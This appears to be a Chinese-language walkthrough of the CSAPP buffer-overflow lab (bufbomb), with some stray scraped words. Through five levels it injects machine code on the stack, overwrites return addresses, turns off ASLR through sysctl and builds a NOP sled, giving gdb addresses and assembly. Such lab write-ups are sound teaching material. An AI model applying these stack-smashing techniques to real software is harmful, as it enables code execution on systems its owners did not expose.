這是CSAPP
官網上的著名實驗,經過注入彙編代碼實現堆棧溢出攻擊。
實驗材料可到個人github
倉庫 https://github.com/Cheukyin/C... 下載linux
linux
默認開啓ASLR
,每次加載程序,變量地址都會不同,因此若要關閉ASLR
:sysctl -w kernel.randomize_va_space=0
(賦值爲2
,便可打開ASLR
)git不過本實驗的程序彷佛通過特殊處理,不須要關閉
ASLR
github正常編譯的程序的
stack
是non-executable
的,可是加一個編譯選項就能夠打開
本實驗的程序應該都打開了executable
選項了數組
修改getbuf()
的返回地址,讓程序執行smoke
打開gdb
,設置斷點至getbuf
, r -u cheukyin
cookie
80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 38 sub $0x38,%esp 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax 80491fd: 89 04 24 mov %eax,(%esp) 8049200: e8 f5 fa ff ff call 8048cfa <Gets> 8049205: b8 01 00 00 00 mov $0x1,%eax 804920a: c9 leave 804920b: c3 ret
以上代碼標明buf
的地址是ebp-0x28
,地址存放在eax
中print $ebp+4 ==> 0x55683884
print eax ==> 0x55683858
二者相差44
個字節,所以須要輸入44
個普通字符,在輸入smoke
的地址print smoke ==> 0x8048c18
dom
hex
結果保存在level0-smoke-hex.txt
./hex2raw < level0-smoke-hex.txt|./bufbomb_32 -u cheukyin
便可過關函數
跟上面相似,執行fizz()
,不過fizz
有一個參數須要壓棧,這個參數須要跟cookie
相等
所以除了修改getbuf
返回地址,還須要輸入四字節看成fizz
的返回地址,再輸入4
字節cookie
spa
./makecookie cheukyin
可獲取cookie
反彙編可獲取fizz
返回地址code
./hex2raw<level1-fizz-hex.txt | ./bufbomb_32 -u cheukyin
通關ip
修改全局變量global_value
的值,並進入ban
函數
要修改global_value
,便需在stack
上注入一段修改的代碼,執行完get_buf
後jump
到該代碼,
代碼執行完後便jump
到bang
level2-firecracker-assembly.S
爲注入代碼:
# push the address of bang onto stack pushl $0x08048c9d # in gdb, print &global_value ==> 0x804d100 # mov cheukyin cookie to global_value mov $0x3955ae84, %eax mov %eax, 0x804d100 # jump to <bang> ret
先把bang
地址壓棧,而後修改global_value
的值爲cheukin
的cookie
,最後ret
跳轉至bang
gcc -m32 -c level2-firecracker-assembly.S
生成目標文件 objdump -d level2-firecracker-assembly.o > level2-firecracker-assembly.d
反彙編level2-firecracker-assembly.d
:
0: 68 9d 8c 04 08 push $0x8048c9d 5: b8 84 ae 55 39 mov $0x3955ae84,%eax a: a3 00 d1 04 08 mov %eax,0x804d100 f: c3 ret
gdb: print $ebp+8 ==> 0x55683888
把機器碼填充到上面的地址,而後把get_buf
返回地址修改成上面的地址便可
./hex2raw<level2-bang-hex.txt | ./bufbomb_32 -u cheukyin
可過關
令getbuf
返回cookie
給test
,所以不能破壞test
的stack frame
,
因此只能把注入代碼寫在輸入字符串的開頭,也就是buf
地址
另外,當返回test
時須要恢復正確的ebp
,所以輸入字符串中在返回地址以前應寫入ebp
:
在getbuf
中, x/wx $ebp ==> 0x55683880
返回地址應是buf
地址: print $ebp-0x28 ==> 0x55683858
注入代碼須要把cookie
移入eax
,並返回正確的地址:
#in getbuf: x/wx $ebp+4 ==> 0x08048dbe #push get_buf's return address pushl $0x08048dbe #return cheukyin's cookie to test movl $0x3955ae84, %eax #return to <test> ret
gcc -m32 -c level3-Dynamite-assembly.S
objdump -d level3-Dynamite-assembly.o > level3-Dynamite-assembly.d
把生成的機器碼填入buf
./hex2raw<level3-Dynamite-hex.txt | ./bufbomb_32 -u cheukyin
通關
最後一關的要求和上一關一致,不過須要加上-n
參數運行bufbomb
,
此時會進入testn
和getbufn
函數而不是test
和getbuf
函數。
與以前不一樣在於,爲模擬真實環境具備不定數量環境變量在stack frame
的上方,
進入getbufn
時的ebp
值不是固定值,
讀取字符串緩衝區大小由32
變爲512
,並且會調用testn
函數五次,
意味着須要輸入五次字符串並所有經過才能經過。
因爲testn()
的ebp
值不固定,首先須要肯定如何恢復該值。
須要注意到一個事實,esp
和ebp
距離是固定的.
由testn
的彙編代碼:
8048e26: 55 push %ebp 8048e27: 89 e5 mov %esp,%ebp 8048e29: 53 push %ebx 8048e2a: 83 ec 24 sub $0x24,%esp 8048e2d: e8 5e ff ff ff call 8048d90 <uniqueval> 8048e32: 89 45 f4 mov %eax,-0xc(%ebp) 8048e35: e8 d2 03 00 00 call 804920c <getbufn> 8048e3a: 89 c3 mov %eax,%ebx
getbufn
正常返回後應回到8048e3a
,此時ebp=esp+0x28
所以注入代碼應增長利用esp
恢復ebp
的語句
以下:
#testn's ebp is fixed #read <testn>'s assembly code and calculate lea 0x28(%esp), %ebp #look into bufbomb_32.S #push getbufn's return address pushl $0x08048e3a #return cheukyin's cookie to test movl $0x3955ae84, %eax #return to <testn> ret
查看其機器碼:
0: 8d 6c 24 28 lea 0x28(%esp),%ebp 4: 68 3a 8e 04 08 push $0x8048e3a 9: b8 84 ae 55 39 mov $0x3955ae84,%eax e: c3 ret
此時,還有另外一個難題,ebp
不固定,則getbufn
中的字串數組buf
地址也是不固定的.
如何修改getbufn
返回地址來執行注入代碼呢?
經過gdb
查看讀入getbufn
內字符串buf
的地址(即eax
),
對於一樣的userid
會給出同樣的地址序列,
目測是以userid
爲seed
的僞隨機,五次運行給出的地址分別爲:
0x55683678 0x55683698 0x556836c8 0x556835f8 0x55683668
根據提示採用nop sleds
的技術,
大意是:在不清楚有效機器代碼的入口地址時,
能夠在有效機器代碼前以大量的nop
機器指令(0x90)
填充,
只要跳轉地址處於這些nop
上就能到達有效機器代碼。
因爲棧上的機器代碼是按地址由低向高順序執行,
要保證五次運行都能順利執行有效機器代碼,
須要知足:跳轉地址位於有效機器代碼入口地址以前的nop
機器指令填充區。
這要求儘量增大nop
填充區,儘量使有效機器代碼段日後挪。
所以返回地址選用最高的地址: 0x556836c8
由getbufn
彙編代碼
8049215: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
可知buf
地址和存放返回地址的單元相隔 0x208+4 = 0x20c
個字節
而注入代碼共15
個字節,所以共須要在buf
開頭填充 0x20c-15
個nop(0x90)
而後在填入機器碼和返回地址
./hex2raw -n <level4-Nitroglycerin-hex.txt|./bufbomb_32 -u cheukyin -n
通關./hex2raw
的 -n
選項可以讓hex2raw
重複屢次輸入